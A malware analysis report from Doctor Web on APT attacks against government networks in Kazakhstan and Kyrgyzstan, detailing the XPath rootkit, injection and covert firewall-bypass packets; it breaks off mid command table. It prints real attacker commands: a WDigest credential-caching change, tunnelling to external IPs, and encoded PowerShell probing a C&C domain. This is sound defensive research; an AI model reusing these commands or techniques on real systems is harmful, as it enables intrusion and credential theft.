Study of the APT attacks onstate institutions in
Kazakhstan and Kyrgyzstan© Doctor Web, Ltd., 2020. All rights reserved.
This document is the property of Doctor Web, Ltd. (hereinafter - Doctor Web). No part of thisdocument may be reproduced, published or transmitted in any form or by any means for any
purpose other than the purchaser's personal use without proper attribution.
Doctor Web develops and distributes Dr.Web information security solutions which provide
efficient protection from malicious software and spam.
Doctor Web customers can be found among home users from all over the world and ingovernment enterprises, small companies and nationwide corporations.
Dr.Web antivirus solutions are well known since 1992 for continuing excellence in malware
detection and compliance with international information security standards. State certificatesand awards received by the Dr.Web solutions, as well as the globally widespread use of our
products are the best evidence of exceptional trust to the company products.

Study of the APT attacks on state institutions in Kazakhstan and Kyrgyzstan
7/20/2020
Doctor Web Head Office
2-12A, 3rd str. Yamskogo polya
Moscow, Russia
125040Website: www.drweb.com
Phone: +7 (495) 789-45-87
Refer to the official website for regional and international office information.

3

Table of Contents
Introduction

4

General Information About the Attack and Tools

5

Operating Routine of Discovered Malware Samples

9

Trojan.XPath.1

9

Trojan.XPath.2

11

Trojan.XPath.3

18

Trojan.XPath.4

21

BackDoor.Mikroceen.11

29

BackDoor.Logtu.1

33

Trojan.Mirage.1

42

Trojan.Misics.1

50

BackDoor.CmdUdp.1

65

BackDoor.Zhengxianma.1

66

BackDoor.Whitebird.1

67

BackDoor.PlugX.27

75

BackDoor.PlugX.28

78

BackDoor.PlugX.26

115

BackDoor.PlugX.38

115

Conclusion

133

Appendix. Indicators of Compromise

134

3

4

Introduction
As an object of study, targeted cyberattacks on large enterprises and government
institutions are of great interest to information security specialists. The study of such
incidents makes it possible to analyze the strategy and tools used by hackers to break into
computer systems, and in turn develop appropriate counteraction measures. The software
used in targeted attacks is usually unique since it is developed in-line with the goals andobjectives of the attackers, and is not publicly advertised. In comparison with common
threats, samples of such malware rarely become the object of research. In addition, targeted
attacks use complex mechanisms to hide traces of malicious activity, making it more difficult
to detect unauthorized presence inside the attacked organization’s infrastructure.
In March 2019, Doctor Web was contacted by a client from a state institution of the Republicof Kazakhstan regarding malware presence on one of the corporate network computers. Thiscase prompted the beginning of an investigation, resulting in the company's specialists
discovering and being the first to describe the family of trojan programs used for a full-scale
targeted attack on the institution. The materials we had made it possible to learn more
about the tools and goals of cybercriminals who infiltrated the internal computer network.
The investigation revealed that the facility’s computer network has been compromised sinceat least December 2017.
In addition, in February 2020 Doctor Web was contacted by representatives of the state
institution of the Kyrgyz Republic regarding a similar matter — signs of an infected
corporate network. Our expertise has confirmed the range of malicious programs operating
within the network. Some modifications of this malware were also used during the attack on
the organization in Kazakhstan. Our analysis showed, as in the previous case, the initialinfection began long before the enquiry — in March 2017.
Because the unauthorized presence in both infrastructures continued for at least three years,
as well as the event logs from servers revealing completely different trojan families, we
assume that not one, but several hacker groups are likely behind these attacks. With that,some of the trojans used in these attacks are well-known: part of them are exclusive tools ofcertain APT groups, while the other part is used by various APT groups of China.

45General Information About the Attack and Tools
We were able to study in detail the information from several network servers of the effected
institutions in Kazakhstan and Kyrgyzstan. All devices covered in the study run Microsoft
Windows operating systems.
Malware used in the targeted attack can be divided into two categories:
1. Common ones installed on most network computers;
2. Specialized ones installed on servers of special interest to the attacker.
The analyzed malware samples and utilities used by attackers allow us to assume thefollowing attack scenario. After successfully exploiting the vulnerabilities and gaining accessto the network computer, hackers uploaded one of the BackDoor.PlugX modifications to it.
The trojan's payload modules allowed attackers to remotely control an infected computerand use it for lateral movement. Another trojan, presumably used for initial infection, was
BackDoor.Whitebird.1. This backdoor was designed to operate in 64-bit operating systems
and had a universal functionality: supporting an encrypted connection to the C&C server, as
well as the file manager, proxy, and for remote control via the command shell functionality.
After achieving a network presence, attackers used specialized malware to carry out theirtasks. This is how specialized trojan programs are distributed among infected devices.
Domain controller #1

Trojan.Misics
Trojan.XPath

Domain controller #2

Trojan.Misics
Trojan.Mirage

Domain controller #3

BackDoor.Mikroceen
BackDoor.Logtu

Server #1

BackDoor.Mikroceen

Server #2

Trojan.Mirage
BackDoor.CmdUdp.1

The most interesting finding is the XPath family, whose modifications, according to our
information, have not been publicly described before. The family has a rootkit for hiding
network activity and traces of presence in a compromised system, which was detected by the
Dr.Web anti-rootkit installed on the attacked server. The samples we studied were compiled
between 2017-2018. With that, these malicious programs are based on open source projects

5

6

released several years earlier. Thus, the studied samples used versions of the WinDivert
package released between 2013-2015. This indirectly indicates the first XPath modifications
may also have been developed during this period.
XPath is a module trojan, each component of which corresponds to a specific stage of
malware operation. The infection process begins with the installer operation, detected as
Trojan.XPath.1. The installer uses an encrypted configuration hardcoded in its body andlaunches the payload either by driver installation or by utilizing COM Hijacking. The program
uses the system registry to store its modules, using both encryption and data compression.
Trojan.XPath.2 is a driver and hides malicious activity in a compromised system by running
another module simultaneously. The driver has Chinese digital signatures. Its operation isbased on open source projects. Unlike other components stored in the system registry, thedriver files are located on a disk, and the malicious program runs covertly. In addition tohiding the driver file on the disk, the component is also designed for injecting the payload’s
loader in the lsass.exe process, as well as concealing the trojan's network activity. The
operating scenario varies depending on the operating system version.
PayloadDll.c is the original name for the third component. A library detected as
Trojan.XPath.3 is an intermediate module that injects the payload, saved in the system
registry, into the svhost.exe process by utilizing COM Hijacking.
The main functionality is contained in the payload module detected as Trojan.XPath.4. The
component is written in C++, and is also based on open source projects. Similar to most of
the malware analyzed in this study, this trojan is designed to gain unauthorized access to
infected computers and steal confidential data. Its key feature is the ability to operate in twomodes. The first is the Client Mode. In this mode, the trojan connects to the C&C server andwaits for incoming commands. The second is the Agent Mode. In this mode, Trojan.XPath.4
carries server functions: it listens for certain ports, waits for other clients to connect to them,and sends commands to these clients. Thus, the malware creators have provided thepossibility for deploying a local C&C server inside the attacked network to redirectcommands from an external C&C server to infected computers inside the network.
For a detailed description of the XPath family and how it works, see Operating Routine of
Discovered Malware Samples.
Another interesting finding is the Trojan.Mirage access implementation to the commandshell. To perform command shell I/O redirections, the malware used files that we were able
to retrieve from an infected server during the investigation. With them we managed to see
the commands executed by cybercriminals using the following trojan function, as well as thedata received in response:
reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest/v UseLogonCredential /t REG_DWORD /d 1 /f
ipconfig /displaydns
c:\windows\debug\windbg.exe -n 202.74.232.2 -o 53,80,443
c:\windows\debug\windbg.exe -n 202.74.232.2 -o 143,110

6

7

reg query
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest

The launched windbg.exe file was a TCP/UPD port scanner utility called PortQry.
During our investigation, we found evidence indirectly confirming the connection oftargeted attacks on institutions of Central Asian republics. One of the uncovered samples
called BackDoor.PlugX.38 used the nicodonald[.]accesscam[.]org domain, which was also
used as the C&C server for BackDoor.Apper.14, also known as ICEFOG NG. A few years ago,
we discovered a backdoor of this family in a phishing email sent to one of the state
institutions in Kazakhstan. Also, an RTF document that installs this sample of
BackDoor.Apper.14 was first uploaded to VirusTotal from Kazakhstan on March 19, 2019.
An interesting finding within the framework of the Kyrgyzstan incident is the Logtu backdoor
found on an infected server along with the Mikroceen backdoor. In addition to a similar set
of malware used by attackers in both incidents, Mikroceen points to a possible connection
between the two attacks: a sample of this highly specialized backdoor was found on both
networks and in both cases it was installed on the domain controller.
During the search for samples related to these attacks, we found a specially made backdoor
that implements BIND Shell access to the command shell. The program’s debugging
information contains the project name in Chinese,, which may indicate thetrojan’s origin.
In addition to malicious programs, attackers used the following publicly available utilities
for lateral movement within the network:· Mimikatz· TCP Port Scanner V1.2 By WinEggDrop· Nbtscan· PsExec· wmiexec.vbs· goMS17-010· ZXPortMap v1.0 By LZX· Earthworm· PortQry version 2.0 GOLD

Examples of launching some of the listed utilities are shown below.
· ZXPortMap: vmwared.exe 21 46.105.227.110 53· Earthworm: cryptsocket.exe -s rssocks -d 137.175.79.212 -e 53

7

8

The APT group also actively used its own PowerShell scripts to perform various tasks, such ascollecting information about an infected computer and other network devices, checking the
C&C server status from an infected computer, etc. In addition, we found a PowerShell script
designed for downloading all the contents from the Microsoft Exchange Server mailboxes ofseveral of the organization’s employees.
Examples of certain PowerShell scripts executed on infected servers:
powershell -enc
DQAKADUAMwAsADMAOAA5ACAAfAAgACUAewBlAGMAaABvACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOA
GUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAApAC4AQwBvAG4AbgBlAGMAdAAoACIAdg
AuAG4AbgBuAGMAaQB0AHkALgB4AHkAegAiACwAJABfACkAKQAgACIAUABvAHIAdAAgACQAaQAgAGkAcwAgAG8
AcABlAG4AIQAiAH0AIAAyAD4AJABuAHUAbABsAA0ACgA=
powershell -nop -enc
DQAKADIAMQAsADIAMgAsADIANQAgAHwAIAAlAHsAZQBjAGgAbwAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0A
CAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKQAuAEMAbwBuAG4AZQBjAHQAKA
AiAHYALgBuAG4AbgBjAGkAdAB5AC4AeAB5AHoAIgAsACQAXwApACkAIAAiAFAAbwByAHQAIAAkAGkAIABpAHM
AIABvAHAAZQBuACEAIgB9ACAAMgA+ACQAbgB1AGwAbAANAAoA
powershell -enc
IAA1ADMALAA1ADQALAA4ADAALAA0ADQAMwAgAHwAIAAlAHsAZQBjAGgAbwAgACgAKABuAGUAdwAtAG8AYgBqA
GUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKQAuAEMAbwBuAG4AZQ
BjAHQAKAAiAHYALgBuAG4AbgBjAGkAdAB5AC4AeAB5AHoAIgAsACQAXwApACkAIAAiAFAAbwByAHQAIAAkAGk
AIABpAHMAIABvAHAAZQBuACEAIgB9ACAAMgA+ACQAbgB1AGwAbAANAAoA
powershell.exe -executionpolicy bypass -WindowStyle Hidden -File C:\programdata\x.ps1%COMSPEC% /Q /c tasklist /v >>c:\programdata\2.txt%COMSPEC% /Q /c systeminfo >>c:\programdata\2.txt%COMSPEC% /Q /c netstat -nvb>> c:\programdata\2.txt
powershell -exec bypass -command "& { foreach($i in 53,80,443){ echo ((new-object
Net.Sockets.TcpClient).Connect('v.nnncity.xyz',$i)) "port:"$i } 2 > $null }" >>c:\programdata\2.txt

8

9

Operating Routine of Discovered Malware Samples
Trojan.XPath.1
Trojan.XPath.1 is an installer for the multi-functional XPath backdoor. It operates on both 32bit and 64-bit Microsoft Windows operating systems. The payload is extracted by installingthe driver or by utilizing COM Hijacking.

Operating routine
Using the 5-byte magic number, the installer checks whether the configuration embedded in
it has encryption. The configuration is then used for the payload functioning. If there is noencryption, the program shuts down.
After that, the malware receives information about the OS version, UAC settings and checks
whether the user has administrative privileges. A string is formed from obtained data:
admin:%d,dwCPBA:%d,dwLUA:%d,om:%d-%dThen, the program outputs it via the OutputDebugStringA function.
Next, the trojan attempts to install its driver. In case of failure, an attempt is made to install
the module using COM Hijacking.
After that, the program deletes its file from the disk and terminates its process.
Driver installation
It deletes the yyyyyyyyGoogle.sys file from the %WINDIR%\\tracing\\ directory. It
extracts the desired driver version from its body, depending on the system architecture bit
widths, and saves it to the specified path. Drivers are stored in the sample being compressed
via the APLib library and are additionally encrypted by an algorithm based on the XOR
operation with a single-byte key.
It then stores its payload in the registry as three modules. It uses [HKLM\\SOFTWARE\\Microsoft\\LoginInfo] as its working registry branch. It creates keys in it and saves
the payload there:· Video — configuration;· DirectShow — XPath module;· DirectDraw — PayloadDll module.

910

The modules are hardcoded in the trojan’s body in a similar form to the driver (using APLiband XOR) and are present in two versions — for both 32-bit and 64-bit systems. Each
module uses its own single-byte key. The modules are saved as a structure:#pragma pack(push,1)
struct mod{_DWORD compressed_size;_DWORD decompressed_size;_BYTE data[compressed_size];};#pragma pack(pop)The data module is decoded, but remains compressed.
The program then attempts to create a service with autorun and ImagePath to the extracted
driver. The driver file name is used as the service name.
If the service cannot be launched via SCManager and the service has already been created,
an attempt is made to start the driver via ZwLoadDriver.
To check if the driver is working, the malware attempts to open the \\.\BaiduHips
device. In case of failure, a second attempt is made after 100 milliseconds. A total of 15
attempts are made, after which the driver installation is considered incomplete.
If the driver is running, it sequentially starts the [%WINDIR%\\System32\\ping.exe],[%WINDIR%\\System32\\rundll32.exe %WINDIR%\\System32\\svchost.exe]and [%WINDIR%\\System32\\lsass.exe] processes.
COM Hijacking
The program saves its modules in the registry the same way as when installing the driver, but
this time using [HKCU\\SOFTWARE\\Microsoft\\LoginInfo] as the home branch.
It iterates through the registry keys in the HKU section and searches for a key with a namecontaining the S-1-5-21- substring and does not contain the _Classes substring. Inside
this key, it creates the Software\\Classes\\CLSID\\{ECD4FC4D-521C-11D0-B79200A0C90312E1}\\ key for Windows 2000, Windows XP, Windows Server 2003, and theSoftware\\Classes\\CLSID\\{B12AE898-D056-4378-A844-6D393FE37956}\\
key for Windows Vista or later. For this key it sets the %TMP%\\Microsoft\\ReplaceDll.dll path as the parameter value (by default). It also creates theThreadingModel parameter with the Apartment value.
After that, it unpacks the PayloadDll module into the %TMP%\\Microsoft\\ReplaceDll.dll directory.

10

11

Artifacts
The Trojan.XPath.1 file contains leftover debugging information that reveals the paths andsource code file names:z:\\desk_codes\\project_xpath\\xpathinstaller\\client_files.h
z:\\desk_codes\\project_xpath\\xpathinstaller\\MemLoadDll.h
xPathInstaller.c

The original function names are:InstallSecFunDriver
MyZwLoadDriver
SetMyLoginInfo
InstallDrv

The file also contains various debugging messages:
start TRUE:%s,%d\npOpenSCManager false:%s,%d\nZwLoadDriver false1 :%s,%d,%d\nZwLoadDriver false2 :%s,%d,%d\nZwLoadDriver false3 :%s,%d,%d\nZwLoadDriver false1 :%x\nZwLoadDriver ok : %x\nZwLoadDriver false: %x
type:%d\ninstall all failed\n
can not pCreateFile,inst failed :%s,%d\n%s,%d,%d\nadmin:%d,dwCPBA:%d,dwLUA:%d,om:%d-%dThe setinfo false string is the most interesting. It contains the 0xACA3 sybmol, which inUnicode corresponds to the hieroglyph. This hieroglyph is used in South and North Korean
writing.

Trojan.XPath.2
Trojan.XPath.2 is a driver for the multi-function XPath backdoor. It has two versions for both32-bit and 64-bit Microsoft Windows operating systems. The component is designed to
inject the payload loader into the lsass.exe process, as well as for traffic filtering.

Operating routine
Trojan.XPath.1 serves as a loader for the driver. Operating in Windows starting from Vista or
higher is based on the source code of the WinDivert 1.1 (30.06.2013) - 1.2 (17.07.2015).
Operating in Windows starting from Windows 2000 up to Vista is based on the source codeof the WinPcap.

11

12

Drivers have the following digital signatures:
CN = Anhua Xinda (Beijing) Technology Co., Ltd.
OU = Digital ID Class 3 - Microsoft Software Validation v2
O = Anhua Xinda (Beijing) Technology Co., Ltd.
L = Beijing
S = Beijing
C = CN
CN =
O =
L =
S =
C = CNThe trojan obtains the addresses of the necessary functions from a NDIS.SYS file:

It then checks which of the available modules — hal.dll, halmacpi.dll or halacpi.dll — wasloaded, and gets the addresses of several functions from it:

12

13

Next, it checks if the ntdll.dll module is loaded. If it is not loaded, Trojan.XPath.2
independently maps the file into the memory, and gets the addresses of the necessaryfunctions:

Then trojan creates the device \\Device\\test1 and the symbolic link \\DosDevices\\test1.
Via PsSetCreateProcessNotifyRoutine it sets a callback function in which it tracks thelsass.exe process creation. As soon as this process is started, the trojan reads the loader
module (Trojan.XPath.3) from the registry [\\registry\\machine\\SOFTWARE\\Microsoft\\LoginInfo] 'DirectDraw'. Then it unpacks it and injects it into thelsass.exe. In the 64-bit version of the driver, code is injected via the
PsSetLoadImageNotifyRoutine function.
The program waits until it can open \\Systemroot\\explorer.exe, then via
IoCreateDriver it creates the \\FileSystem\\FsBaiduHips driver.
It records the following values in the registry:

13

14

· [\\Registry\\Machine\\System\\CurrentControlSet\\Services\\yyyyyyyyGoogle] 'Group' = "Boot Bus Extender";· [\\Registry\\Machine\\System\\CurrentControlSet\\Services\\yyyyyyyyGoogle] 'DependOnService' = "FltMgr";· [\\Registry\\Machine\\System\\CurrentControlSet\\Services\\yyyyyyyyGoogle\\Instances] 'DefaultInstance' = 'yyyyyyyyGoogle
Instance';· [\\Registry\\Machine\\System\\CurrentControlSet\\Services\\yyyyyyyyGoogle\\Instances\\yyyyyyyyGoogle Instance] 'Altitude' ='399999';· [\\Registry\\Machine\\System\\CurrentControlSet\\Services\\yyyyyyyyGoogle\\Instances\\yyyyyyyyGoogle Instance] 'Flags' ='00000000'.
Then it attempts to register as a minifilter. If the FltRegisterFilter function returns the
STATUS_FLT_INSTANCE_ALTITUDE_COLLISION error, the program reduces the value of
Altitude by one, and then retries.
When registering as the minifilter, the PreOperation callback function is set for
IRP_MJ_CREATE:For IRP_MJ_QUERY_INFORMATION a callback function is set:

For IRP_MJ_DIRECTORY_CONTROL, both the PreOperation and PostOperation
callback functions are set. These four functions are used to conceal the driver file.
The trojan then creates the device \\Device\\BaiduHips and the symbolic link \\DosDevices\\BaiduHips.
Further behavior depends on the infected computer’s OS version.

14

15

BaiduHips (Windows 2000, Windows XP, Windows Server 2003)
The program registers the BaiduHips NDIS protocol.
To perform the firewall functionality, the driver intercepts the SendHandler,
ReceiveHandler, ReceivePacketHandler, and OpenAdapterCompleteHandler
functions:

Hooks are inserted only after receiving the IOCTL code 0x80000800. After that, theprogram starts filtering traffic (see below).
BaiduHips (Windows Vista, Windows Server 2008 or higher)
It creates a WDF driver, and passes [\\Registry\\Machine\\System\\CurrentControlSet\\Services\\BaiduHips] as the service path.
Further initialization is similar to the standard initialization of the WinDivert driver. The
trojan tracks traffic transmitted over IPv4.
The most important difference from the standard WinDivert is the windivert_filter
function, which filters packets (see below).
Firewall
The second (in addition to payload launch) main function of the driver is to filter traffic. The
firewall filters TCP/UDP packets transmitted over IPv4.

15

16

The rules are defined as structures:#pragma pack(push, 1)
struct st_fw_add_tcp{_WORD protocol;_DWORD pid;
_BYTE src_mac[6];_BYTE dst_mac[6];_DWORD ack;
_DWORD sn;_DWORD src_ip;_DWORD dst_ip;_WORD src_port;_WORD dst_port;};#pragma pack(pop)The src_mac, dst_mac, ack, and sn fields are optional. It should be noted that
depending on the packet direction, the fields are compared accordingly. In other words, totransmit a packet in both directions between two devices, a single rule is sufficient, where
the recipient is the computer that runs this rootkit.
There are two ways to add firewall rules:
1. Via the corresponding IOCTL code,
2. By sending specially generated packets over the TCP Protocol.
Special packet 1
This is a TCP packet with the following parameters:· The AckNum value is set to 0x87ED5409;· The SeqNum value is set to 0x1243FDEC;· RST flag is set.

When such a packet is received, a rule is added to the firewall that allows traffic to pass fromthe sender's IP address and the src_port + 1 port to the specified destination and in the
opposite direction.
Special packet 2This TCP packet size must be 32 bytes. The first 4 bytes are the key for decrypting the rest of
the data. Decryption function:

16

17

Next, bytes from 4 up to 12 are compared with the 1I2#aLeb string. If a match occurs, arule is added to the firewall that allows traffic flow from the sender's IP address and port.
It is worth noting that the TCP Handshake process is not performed and flags are ignored.
Only the size of the data and the data itself matter.
IOCTL codes
The trojan’s IOCTL codes:· 0x80000800 — to insert hooks on network functions (only available on Windows versions

up to Windows Vista)· 0x80000815 — to add a firewall rule for the TCP Protocol;· 0x80000819 — to delete a firewall rule for the TCP Protocol;· 0x8000081D — to add a firewall rule for the UDP Protocol;· 0x80000821 — to delete a firewall rule for the UDP Protocol;· 0x80001005 — to set the value of two variables (not used).

IOCTL codes from WinDivert (available only for OS versions starting from Vista and higher):· 0x80002422 — to receive a diverted packet;· 0x80002425 — to send a packet;· 0x80002429 — to start filtering;· 0x8000242D — to set the level;1718· 0x80002431 — to set the priority;· 0x80002435 — to set the flags;· 0x80002439 — to set the parameter;· 0x8000243E — to receive the parameter’s value.

Artifacts
In addition to project files path disclosed in PDB:
Z:\desk_codes\project_xpath\ObjFile\SecKernel\SecKernel.pdb
Z:\desk_codes\project_xpath\ObjFile\SecKernel64\SecKernel.pdb

The code contains the names of specific files with the trojan’s source codes:
bwctrl.c
Ndis5.cNdis6.c
SecKernel.c

There are also various debugging messages:out of memory2out of memory3out of memory4
del tcp pid:%d,%d,%d\nsize not match:%d,%d\nget:%wZ mac:%02x-%02x-%02x-%02x-%02x-%02x
test my tcp packet,eth len:%d,%d-->%d\ninit drv :%d,%d\ninit drv :%x\n\C:\InjectIntoProcess crash\C:\NewProcess crash\C:\ProcessGone crash\C:\ProcessCallback crash\C:\InitDriver crash

Trojan.XPath.3
A trojan library written in C and designed to run on the 32-bit and 64-bit Microsoft Windows
operating systems. It represents one of the components of the Trojan.XPath trojan family
and is installed by the Trojan.XPath.1 onto the target system. The main function of this libraryis to inject the payload, saved in the registry, into the svhost.exe process.

Operating routine
Trojan.XPath.3 has the following system exports:· DllCanUnloadNow· DllGetClassObject

18

19· DllGetVersion· DllInstall· DllRegisterServer· DllUnregisterServer

The trojan receives all the necessary imports through the WinAPI
LoadLibraryA/GetProcAddress, while the names of the required functions in its code
are not encrypted.
If the trojan runs in the context of the explorer.exe, it checks for the version of the OS where
it is launched.
For the operating systems below Windows Vista, Trojan.XPath.3 receives function exports
from the themeui.dll:· DllCanUnloadNow· DllGetClassObject· DllInstall· DllRegisterServer· DllUnregisterServer

For the operating systems starting from Windows Vista and higher, it receives function
exports from the ExplorerFrame.dll:· DllCanUnloadNow· DllGetClassObject· DllGetVersion· 0x6E· 0x6F· 0x86

The trojan requires these function addresses in order to call the corresponding functions
whenever a trojan library export of the same name is called.
Using the Global\\RunThreadOfWinDDK8O98 mutex, Trojan.XPath.3 verifies only one
instance of it is running.
Using ZwQuerySystemInformation, the trojan counts the number of processes running inthe system. It waits until their number exceeds 7, then starts the %WINDIR%\\system32\\svchost.exe process with the CREATE_SUSPENDED flag.
Trojan.XPath.3 reads the DirectShow parameter from the registry thread [HKLM\\SOFTWARE\\Microsoft\\LoginInfo] or [HKCU\\SOFTWARE\\Microsoft\\LoginInfo] where the payload is stored. It then unpacks the payload using the APLib
library.

19

20

Next, the trojan allocates a memory block of 0xC80F0 bytes. At the beginning of the block it
forms the following structure:#pragma pack(push,1)
struct mod{char char0[128];_QWORD LdrLoadDll;_QWORD LdrGetProcedureAddress;_QWORD ZwProtectVirtualMemory;_QWORD ZwCreateSection;_QWORD ZwMapViewOfSection;_QWORD qwordA8;_QWORD NtTerminateThread;_QWORD qwordB8;_QWORD qwordc0;_QWORD is_x64;_QWORD payload_size;_QWORD qwordd8;_BYTE payload[payload_size];};#pragma pack(pop)

Herewith, in the analyzed sample the char0 value represents a asdsad11111222333
constant.
The trojan allocates a memory block of the size of 0xD80F0 bytes to the previously launchedsvchost.exe process and copies the entire region of 0xC80F0 bytes onto it.
Next, Trojan.XPath.3 searches for the 0x12345688 constant, which is located in theshellcode built into it and replaces it with the memory block address, previously allocated in
the svchost.exe process. It then copies this shellcode onto the allocated block using the
0xC90F0 offset.
For systems below Windows 8, the trojan receives CONTEXT of the thread in the svchost.exe
process and patches the RIP/EIP register with the shellcode, adding 8 bytes to it. For more
recent OS versions, Trojan.XPath.3 launches the thread through NtCreateThreadEx.
Artifacts
Traces of the debug information inside the trojan library allow finding the name of thetrojan’s source code file: PayloadDll.c.
Various debugging messages, which are stored in the library:os ver:%d,%d,%d
payload_%04d-%02d-%02d_%02d-%02d-%02d.dmp
get target api address false\ndepack get packed size error:%d\ndepack false\nAlloc Mem in target process false!!!\nwriting info to target process false!!!,%d,%d,%x
get magic false\n

20

21

writing stub to same architecture process:%p\nwriting payload to target process false!!!,%dGetProcessEntryPoint is:%x\n!OpenProcessToken,%d\n!DuplicateTokenEx,%d\nget TokenInformation,%d\n!SetTokenInformation,%d\n!pCreateEnvironmentBlock,%d\n!xOpenProcess \nloader path:%s\nCreaet Process All Failed ERROR=%d\ntry gen info\ngen info ok\nWritePayloadToRemote false\nwrite info ok\nerror thread
GetThreadContext Error\nGetThreadContext eip:%p\n
set thread context error\nSetThreadContext eip:%p\ncreate thread ok\nget func error in payload\nget lib error in payload\ntry runthread in payload\nin payload\nTrojan.XPath.4
A multifunctional backdoor trojan for the 32-bit and 64-bit versions of the Microsoft
Windows operating systems. It is one of the components of the Trojan.XPath trojan family. It
is used for granting unauthorized access to infected computers and performing various
malicious actions upon attackers’ commands.
Trojan.XPath.4 is written in C++ and created using several open source projects. One of themis the Cyclone TCP library designed for low-level operation within the network. Malware
creators modified it to use the WinDivert driver instead of the WinPcap driver. The second
project is the modified libdsm library, which implements the operation through the SMB
protocol.

Operating routine
The trojan reads and decrypts the configuration file from the Video or Scsi parameter
stored in the [HKLM\\SOFTWARE\\Microsoft\\LoginInfo] registry key. It thenverifies if the first 4 bytes coincide with the 1E 5A CF 24 value and if the 16th bite equals
0xCE.
Next, Trojan.XPath.4 forms a unique HWID (Hardware ID) identifier of the infected device,
based on its hardware configuration.
After that, it opens the device \\.\BainduHips to verify the network driver is available.
Depending on the operating system version, any calls to the driver are performed in a

21

22

specific way. The first one is executed in the Windows operating system versions, startingfrom Windows 2000 and ending with Windows Server 2003 R2 where the WinCap-based
driver is used. The second one is executed on newer versions of Windows where the
WinDivert-based driver is used.
In order to determine through which network interfaces the trojan should work, it searches
for the network interfaces with types MIB_IF_TYPE_ETHERNET and
IF_TYPE_IEEE80211, which are connected to the network. If Trojan.XPath.4 is running on a
Windows version earlier than Windows Vista, it sends the IOCTL code 0x80000800 to its
driver. After this IOCTL code is received, the driver installs its own hooks onto the handlers,
which are responsible for various functions of the TCP/IP protocol.
Based on that, the trojan can operate in two modes. In the first mode, it functions as a client(Client Mode), connecting to the C&C server and waiting for the corresponding commands.
In the second mode, the trojan operates as an agent (Agent Mode), listening to the specificports, and waiting for other clients to connect and receive their corresponding commands. In
this mode, Trojan.XPath.4 acts as a server.
Operation in the Agent (Server) Mode
While working with the network driver, Trojan.XPath.4 does not actually listen to or receive
connections on a port. Instead, the driver listens for traffic on the network interface andsends filtered packets to the trojan. As a result, the port, to which the trojan listens, is notshown as opened anywhere.
Trojan.XPath.4 checks the current day of the week and the time set in the system settings andcompares their values with the data from the configuration file. In this file, there is flag foreach hour of each day of the week, which inform the trojan if it should run at that specifictime. If there is no flag for the current time, the malware will not receive any packets.
Trojan.XPath.4 waits for an incoming packet of 32 bytes. Next, it takes the first 4 bytes as an
XOR key to decrypt the remaining 28 bytes. The decryption algorithm is shown in the picture
below:

22

23

After decryption, it verifies bytes 4 through 12 and does not perform any further actions if
these bytes match the string 1I2#aLeb. If this string is not present, the trojan attempts todecrypt the packet with the AES key instead of the XOR key. Next, the trojan verifies if thefirst 4 decrypted bytes match the string 7r#K. If there is no match, the trojan will determine
an error has occurred, and all further packet processing will be stopped. But in case there is amatch after decryption, this packet will have the following structure:#pragma pack(push,1)
struct st_packet_header{_BYTE com_flag[4];_DWORD packed_size;_DWORD decomp_size;_DWORD cmdid;_BYTE pad[16];};#pragma pack(pop)

If the packed_size field has 32 value, and the decomp_size field has the value of 0, thetrojan verifies if there is a tunnel to another bot created. If the tunnel exists, Trojan.XPath.4
redirects the command into it, so that the connected bot can execute it. If there is no tunnel,
the trojan executes the command itself.

23

24

If the values of the field mentioned earlier are different from those the trojan expects, it willround off the size of the packed_size field to the larger value, multiple to 16, which
represents the size of packet’s payload. After that, it receives the rest of the data, decrypts itwith one of two AES keys and unpacks it with the LZMA algorithm. Next, it verifies if the sizeof the unpacked data matches the size presented in the decomp_size field of thest_packet_header packet. If the site match is confirmed, Trojan.XPath.4 sends thereceived command into the tunnel or executes it on its own if the tunnel was not created.
Operation in the Client Mode
The trojan will run in this mode if the configuration file contains the C&C server address andthe operation mode 3, which corresponds to the Client Mode, is specified. The malware
sample analyzed has a 4 mode specified, which corresponds to the Agent Mode.
The trojan generates a random port number within the range of65530 and connects to it.
Next, it forms the following packet:#pragma pack(push,1)
struct st_hello{_DWORD key;
_BYTE magic[8]; // "1I2#aLeb_DWORD packet_id; // 0x00
_DWORD dword14; // 0x00
_WORD port;_BYTE byte16[10];};#pragma pack(pop)In the port field it specifies the number of the previously generated port. Next, it takes the
GetTickCount() value as an XOR key to decrypt the packet, and encrypts this value in its
first 4 bytes. The trojan creates the socket, connects to the C&C server listed in theconfiguration file, sends the packet, and ends the connection. Upon receipt of this packet,
the trojan driver will add IP:port from where the packet originates into the firewall
exceptions.
Next, Trojan.XPath.4 connects to the same C&C server again, but this time, it uses the socket
to which it was earlier connected through the random port. After that, Trojan.XPath.4 sends
the packet TOKEN_CLIENT_LOGIN to the C&C server and waits for further commands(additional information about the commands is listed in the corresponding table of the
Commands list section of this description). Reception and dispatch of the packets is
executed in the same way as with the operation as a server (Agent (Server) Mode).

24

25

Packet dispatching
If the packet has any data, that data is packed with the LZMA algorithm. As a result, thefollowing data structure is created:· The header in a form of the st_packet_header structure (this structure is described in

the “Operation in the Agent (Server) Mode” section):#pragma pack(push,1)
struct st_packet_header{_BYTE com_flag[4];_DWORD packed_size;_DWORD decomp_size;_DWORD cmdid;_BYTE pad[16];};#pragma pack(pop)· Compressed data

The resulting data, together with the header, is compressed with the first AES key and sent tothe addressee. The only packet not compressed and encrypted with the AES key is thest_hello packet.
Commands list
Commands IDs
0x138A

Name of the command

AGENT_SERVER_ALIVE

0x138D

0x138E

Resulting action
Confirms the Agent-server
operation
Allocates additional socket or
execute the command stored in
the packet’s data

AGENT_CLIENT_NEW_CONN Enables additional connection
ECT_ACCEPTwith the Agent-server andexecutes the command

0x4E21COMMAND_SERVER_ALIVE

Confirms the C&C server
operation25

26

0x4E22

COMMAND_SERVER_CONNEC Sends the command to establishTthe connection with the C&C
server

0x4E24

COMMAND_SERVER_NOTIFY Establishes additional_CLIENT
connection with the C&C serverand executes the command

0x4E25Ends the connection

0x4E26

Updates the trojan driver andthe modules

0x4E27

A command for the trojan touninstall itself

0x4E28COMMAND_SERVER_READY

Checks if the server is ready

0x4E2A

